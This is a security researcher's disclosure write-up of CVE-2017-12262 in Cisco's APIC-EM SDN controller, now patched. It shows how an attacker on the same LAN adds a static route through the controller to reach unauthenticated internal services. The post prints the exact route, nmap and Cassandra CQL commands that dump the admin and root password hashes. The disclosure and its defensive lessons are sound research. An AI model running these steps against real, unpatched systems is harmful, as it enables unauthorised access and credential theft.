Finding the Low-Hanging Route

on 20 December, 2017

20 December, 2017

Introduction

The Application Policy Infrastructure Controller Enterprise Module (APIC-EM) is Cisco's SDN controller for enterprise networks, which according to Cisco can solve a myriad of problems by leveraging many bleeding edge technologies.

"It delivers an elastic platform for policy-based automation that simplifies and abstracts the network. It can enable transformation of business intent to network control. The platform is built to host multiple, easy-to-use SDN applications that use open, northbound Representational State Transfer (REST) APIs and drive core network automation solutions. The platform also supports a number of southbound protocols that enable it to communicate with the breadth of network devices customers already have in place, and extend SDN benefits to both greenfield and brownfield environments, immediately from the start. The goal of the APIC-EM platform is to power next-generation SDN applications that will dramatically lower operational expenditures and increase network agility to align with business needs."

Technical Details

The Cisco APIC-EM implements a Platform as a Service environment using Grapevine as an Elastic Services platform to support the controller's infrastructure and services. The solution consists of two types of systems. These are the Grapevine root and the Grapevine client(s). The Grapevine root runs as an application on the host powered by a modified version of Ubuntu Linux while the Grapevine clients live in Linux containers (LXC). The root handles all policy management in regards to service updates, as well as the service lifecycle for both itself and the Grapevine clients. The Grapevine clients, running on top of the root system, is where the supported services run.

The Cisco APIC-EM requires two networks to operate. The first one, referred to as the internal segment, consists of the Grapevine roots and clients that are connected to and communicate with each other. This network is isolated, non-routable and unreachable from the external network(s), as well as any other internal network. The external network, on the other hand, provides access to the controller web front-end (GUI) as well as the northbound REST APIs.

Setup

First of all, a few words about our set-up. The product version we tested was APIC-EM-1.4.3.1009. We deployed the APIC-EM virtual appliance in standalone mode and configured it according to Cisco's official documentation.

The APIC-EM virtual machine had one external NIC configured with IP address 172.16.231.254/24. This is confirmed below.

$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:39:ba:b7
inet addr:172.16.231.254 Bcast:172.16.231.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:486859 errors:0 dropped:0 overruns:0 frame:0
TX packets:479599 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:36431324 (36.4 MB) TX bytes:40919272 (40.9 MB)

grape-br0 Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b
inet addr:169.254.0.1 Bcast:169.254.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:169165 errors:0 dropped:0 overruns:0 frame:0
TX packets:169964 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:10041555 (10.0 MB) TX bytes:12541655 (12.5 MB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:1396822 errors:0 dropped:0 overruns:0 frame:0
TX packets:1396822 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6805835191 (6.8 GB) TX bytes:6805835191 (6.8 GB)

veth7D8YVY Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84559 errors:0 dropped:0 overruns:0 frame:0
TX packets:85335 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6204723 (6.2 MB) TX bytes:6285922 (6.2 MB)

vethP5HRD4 Link encap:Ethernet HWaddr fe:96:03:f1:2d:8c
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:84606 errors:0 dropped:0 overruns:0 frame:0
TX packets:85389 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6205142 (6.2 MB) TX bytes:6288509 (6.2 MB)

(grapevine)
[Fri Jun 16 15:11:47 UTC] grapevine@172.16.231.254 (grapevine-root-1) ~
$

The 'eth0' interface connects to the external network while 'grape-br0' belongs to the internal Grapevine segment accessible by the trusted LXCs.

The attacker's system sits in the external LAN, i.e. 172.16.231.0/24. We confirm the services available on the external APIC-EM interface with a quick port scan.

munmap@oceania:~$ nmap -n -p1-65535 -sT 172.16.231.254

Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:36 BST
Nmap scan report for 172.16.231.254
Host is up (0.0069s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
14141/tcp open bo2k
24007/tcp open unknown
49152/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds
munmap@oceania:~$

Nothing exciting here. Ports 80,443, and 3000 are all web front-ends that require authentication. We also have the Erlang Port Mapper Daemon (EPMD) listening on 4369 and the Grapevine developer console accessible on port 14141. This console requires authentication as well. Finally, we have ports 24007 and 49152 occupied by the GlusterFS clustered file system daemon.

However, several more services are listening on the internal APIC-EM network available to the Grapevine roots and clients. This network range is hard-coded to 169.254.0.0/24. Some of these services include Apache Cassandra, RabbitMQ, Supervisor, and Hazelcast. However, malicious hosts on the external LAN are unable to communicate with any of these services since 169.254.0.0/16, as specified in RFC 5735 3927[0], is reserved for link-local purposes, i.e. packets for this network are unroutable. We can confirm this below.

munmap@oceania:~$ route -n | grep ^169
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
From 10.0.7.64 icmp_seq=1 Destination Host Unreachable

--- 169.254.0.1 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
munmap@oceania:~$

At this point, we would usually focus on the web front-end and looking for an authentication bypass to access any of the sensitive information on the controller.

There is no spoon!

Let's pretend, for a moment, that we have never heard of RFC 5735 3927, i.e. we treat 169.254.0.0/16 as a regular IP address range. Is there any way we can talk to services on the internal network from the external LAN? Why don't we try and add a static route for 169.254.0.0/16 via the external interface of the APIC-EM host?

munmap@oceania:~$ sudo route add -net 169.254.0.0/24 gw 172.16.231.254
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
64 bytes from 169.254.0.1: icmp_seq=1 ttl=64 time=0.168 ms

--- 169.254.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.168/0.168/0.168/0.000 ms
munmap@oceania:~$

Huzzah! It looks like we can reach the internal network and more specifically the APIC-EM's interface on 169.254.0.0/24. As you can see, there is no problem for an attacker to access hosts and services from the internal network. This is due to lack of traffic filtering combined with the fact that IP forwarding is enabled by default on the APIC-EM system.

$ cat /proc/sys/net/ipv4/ip_forward
1
(grapevine)
[Fri Jun 16 15:12:00 UTC] grapevine@172.16.231.254 (grapevine-root-1) ~
$

Let's run a quick port scan again and see if this makes any difference.

munmap@oceania:~$ nmap -n -p1-65535 -sT 169.254.0.1

Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:59 BST
Nmap scan report for 169.254.0.1
Host is up (0.0079s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
5671/tcp open unknown
5672/tcp open amqp
5701/tcp open unknown
7000/tcp open afs3-fileserver
9001/tcp open tor-orport
9042/tcp open unknown
9160/tcp open apani1
14140/tcp open unknown
14141/tcp open bo2k
24007/tcp open unknown
25672/tcp open unknown
49152/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds
munmap@oceania:~$

And voilà, we can now talk to 9 more services. Unsurprisingly, some of these services, for example Apache Cassandra, RabbitMQ and Supervisor, are available without authentication. This is probably due to the assumption that only trusted Linux containers would ever reach them.

We can connect to Apache Cassandra and request the password hashes for both the web front-end and the root account on the box to demonstrate the impact.

munmap@oceania:~$ cqlsh 169.254.0.1 9042
Connected to Test Cluster at 169.254.0.1:9042.
[cqlsh 5.0.1 | Cassandra 2.1.5 | CQL spec 3.2.0 | Native protocol v3]
Use HELP for help.
cqlsh> SELECT username,authorization,password FROM grapevine.rbac_user;

username | authorization | password
----------+-----------------------+-------------------------------------------------------------------------------------------------------
admin | {'ALL': 'ROLE_ADMIN'} | 2Vzt4qfGmakw9UmOmZrAqm9A1Qao3h2PCKiWqZ8gFB3XseKuVM7NoA==$95rSYiRERSYrg4f+4eEbYNwndyxtxUU0qcvWTaD3Ns8=

(1 rows)
cqlsh> SELECT vm_password FROM grapevine.roots;

vm_password
------------------------------------------------------------------------------------------------------------
$6$V8nt06mrONhC7tez$fjIspZtRq5Pw/eYTmNWEdU0DdzRvh75VmuyNr.r1PenS5ohKVXfRheSsR5c0HC0L6Kb8aXFh3Bkz1Rsg3pHLz1

(1 rows)
cqlsh> exit
munmap@oceania:~$

From here, there's endless possibilities to disrupt or further compromise the APIC-EM system. For example, we may add our own user via Apache Cassandra's CQL shell, alter the overall SDN configuration by pushing forged messages to RabbitMQ, etc.

Attack Improvements

The attack, as demonstrated, may only be executed if the attacker is positioned in the same Layer 2 network as the SDN controller. The problem with exploiting this vulnerability remotely, i.e. over one or more network hops, lies in the fact that intermediate routers would have no routing information regarding the link-local network.

We can think of at least one way to overcome the attack limitations, although this is a highly theoretical and strictly setup-dependent scenario. Depending on the configuration of the intermediate routers, we may be able to smuggle our packets to and from 169.254.0.0/24 using a combination of IP record route and IP source routing. However, bear in mind this is merely an idea and something we did not investigate further.

Patch

Cisco rectified this problem in APIC-EM 1.5 by filtering traffic for 169.254.0.0/24 arriving on the external interface. This is indeed a quick and easy fix, however enforcing authentication for the internally running services would have been a good application of the defence in depth concept.

The vulnerability is tracked as CVE-2017-12262 (CVSS 8.8)[1].

Final Thoughts

New technologies must be assessed carefully. Although SDN makes possible a number of good security practices, e.g. micro-segmentation and active isolation of compromised hosts, the technology stack to achieve it is new and has not been through the years of breaking and fixing of classic stacks. Mistakes are going to be made. However, organisations cannot ignore the potential that these new technologies bring. In MWR's experience, the keys to getting the benefits whilst minimising the risk are architecture and assurance.

This issue would not have been possible in an architecture that prevented normal hosts from seeing the admin interfaces of the SDN controller. As ever, management interfaces should only be accessible to the minimum necessary hosts. There is always the risk there will be issues in the interfaces that are intentionally exposed and so reducing the visible attack surface is critical.

Where services have to be exposed, organisations cannot always just take the vendor's word that they are secure. If the vendor cannot evidence secure development and threat modelling, as well as previous security tests, organisations may wish to validate themselves. Just in case, for example, an RFC was liberally interpreted at some point.

[0] https://tools.ietf.org/html/rfc3927

[1] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20171101-apicem